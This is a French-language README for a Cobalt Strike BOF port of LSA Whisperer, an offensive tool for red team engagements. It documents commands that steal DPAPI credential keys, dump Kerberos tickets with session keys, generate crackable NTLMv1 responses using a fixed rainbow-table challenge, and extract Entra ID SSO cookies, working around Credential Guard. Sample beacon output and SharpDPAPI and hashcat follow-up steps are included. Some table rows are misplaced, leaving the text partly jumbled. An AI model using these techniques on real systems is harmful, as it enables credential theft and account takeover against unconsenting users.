
Un fichier objet Beacon (BOF) qui communique directement avec les packages d'authentification Windows via l'interface client non approuvée/approuvée LSA, sans toucher à la mémoire du processus LSASS.

Un portage en fichier d'objet Beacon (BOF) pour Cobalt Strike de LSA Whisperer — l'outil qui dialogue directement avec les packages d'authentification Windows via l'interface client LSA non fiable/ fiable, sans toucher à la mémoire du processus LSASS, même quand PPL et Credential Guard sont activés.
LSA Whisperer par Evan McBroom (SpecterOps) a démontré que l'on peut récupérer les clés de credential DPAPI, extraire les tokens SSO cloud et interagir avec Kerberos — le tout via des appels API légitimes LsaCallAuthenticationPackage. Aucune lecture mémoire, aucune injection de processus, aucun handle sur LSASS.
Ce projet apporte ces capacités aux C2 sous forme de BOFs pour les engagements red team. Il n'ouvre jamais de handle sur le processus lsass et tous les appels passent par LsaCallAuthenticationPackage (l'API client officielle pour dialoguer avec lsass). PPL sur LSASS n'a aucune importance. PPL protège le processus LSASS contre l'ouverture/lecture/injection.
| Commande | Description |
|---|---|
lsa-credkey [LUID] | Récupère la clé de credential DPAPI. Fonctionne avec Credential Guard. |
lsa-strongcredkey [LUID] | Récupère la clé de credential DPAPI forte (Win10+). |
lsa-ntlmv1 [LUID] [challenge] | Génère une réponse NTLMv1 avec un challenge choisi. Le challenge par défaut 1122334455667788 est compatible avec les tables arc-en-ciel de crack.sh. |

| Commande | Description |
|---|---|
lsa-klist [LUID] | Liste les tickets Kerberos mis en cache. |
lsa-dump [LUID] | Déverse tous les tickets sous forme de blobs .kirbi en base64 avec les clés de session. |
lsa-purge [LUID] [server] |

| Commande | Description |
|---|---|
lsa-ssocookie [LUID] | Extrait le cookie SSO Entra ID (Azure AD) via le plugin AAD. |
LUID : 0 ou omettre pour la session en cours. Valeur hexadécimale (ex. 0x3e7) pour cibler une session d'ouverture de session spécifique. Cibler d'autres sessions nécessite SYSTEM.
beacon> lsa-credkey 0x21d57
[*] MSV1_0 GetCredentialKey
[+] SUCCESS - Clés de credential DPAPI récupérées !
[+] CredSize: 0x28 (40 octets)
[*] Clé CredKey locale (SHA OWF) : <clé 20 octets>
[*] Clé CredKey domaine (NT OWF) : <clé 16 ou 20 octets>
Utilisez la clé récupérée avec SharpDPAPI :
SharpDPAPI.exe masterkeys /credkey:<key_hex> /target:<masterkey_path>
beacon> lsa-ntlmv1 0x21d57
[*] MSV1_0 Lm20GetChallengeResponse (Génération NTLMv1)
[+] Réponse NTLMv1 générée !
[*] Hashcat (mode 5500) :
DOMAINE\\utilisateur::HÔTE::NTResponse:1122334455667788
Soumettez la réponse à crack.sh pour une récupération instantanée du hash NT avec le challenge par défaut.
beacon> lsa-ssocookie 0x21d57
[+] Cookie SSO reçu !
[*] Cookie : ESTSAUTH=<token>
lsa-whisperer-bof/
├── lsa-whisperer.cna # Aggressor script (load this)
├── Makefile
├── include/
│ ├── bofdefs.h # BOF API declarations + DFR imports
│ └── lsa_structs.h # All LSA/MSV1_0/Kerberos/CloudAP structs
├── src/
│ ├── common/
│ │ └── lsa_common.c # Shared LSA init, helpers, output formatting
│ ├── msv1_0/
│ │ └── msv1_0_bof.c # MSV1_0 commands
│ ├── kerberos/
│ │ └── kerberos_bof.c # Kerberos commands
│ └── cloudap/
│ └── cloudap_bof.c # CloudAP/AAD commands
└── build/ # Compiled BOFs (after make)
Chaque module se compile en un BOF indépendant. Le code commun est inclus au moment de la compilation (schéma BOF standard) — pas de bibliothèques partagées ni de dépendances d'exécution.
| Contexte | Capacité |
|---|---|
| Utilisateur actuel (non privilégié) | lsa-klist, lsa-ssocookie, lsa-cloudinfo pour sa propre session |
SYSTEM (SeTcbPrivilege) | Toutes les commandes ciblant n'importe quelle session d'ouverture de session par LUID |
Énumérez les LUID disponibles avec logonpasswords ou klist pour trouver les sessions cibles.
lsa-credkey et lsa-strongcredkey fonctionnent à travers Credential Guard. lsa-ntlmv1 est bloqué par celui-ci.1122334455667788 permet un cassage gratuit par tables arc-en-ciel via crack.sh. Les challenges personnalisés fonctionnent mais nécessitent un brute-force standard.lsa-purge avec un filtre de serveur ne supprime que les tickets correspondants — utile pour un abus ciblé de Kerberos sans perturber la session de l'utilisateur.Ce projet est un portage BOF de LSA Whisperer par Evan McBroom (@EvanMcBroom) de SpecterOps. Toute la recherche sous-jacente — les messages de protocole MSV1_0 non documentés, l'interface d'appel du plugin CloudAP/AAD et les définitions de structures qui rendent cela possible — est son travail.
Références clés :
| Purge les tickets. Prend en charge la purge sélective par nom de serveur. |
lsa-devicessocookie [LUID] | Extrait le cookie SSO de l'appareil. |
lsa-enterprisesso [LUID] | Extrait le cookie SSO entreprise AD FS. |
lsa-cloudinfo [LUID] | Interroge les informations du fournisseur cloud, le statut TGT, le statut DPAPI. |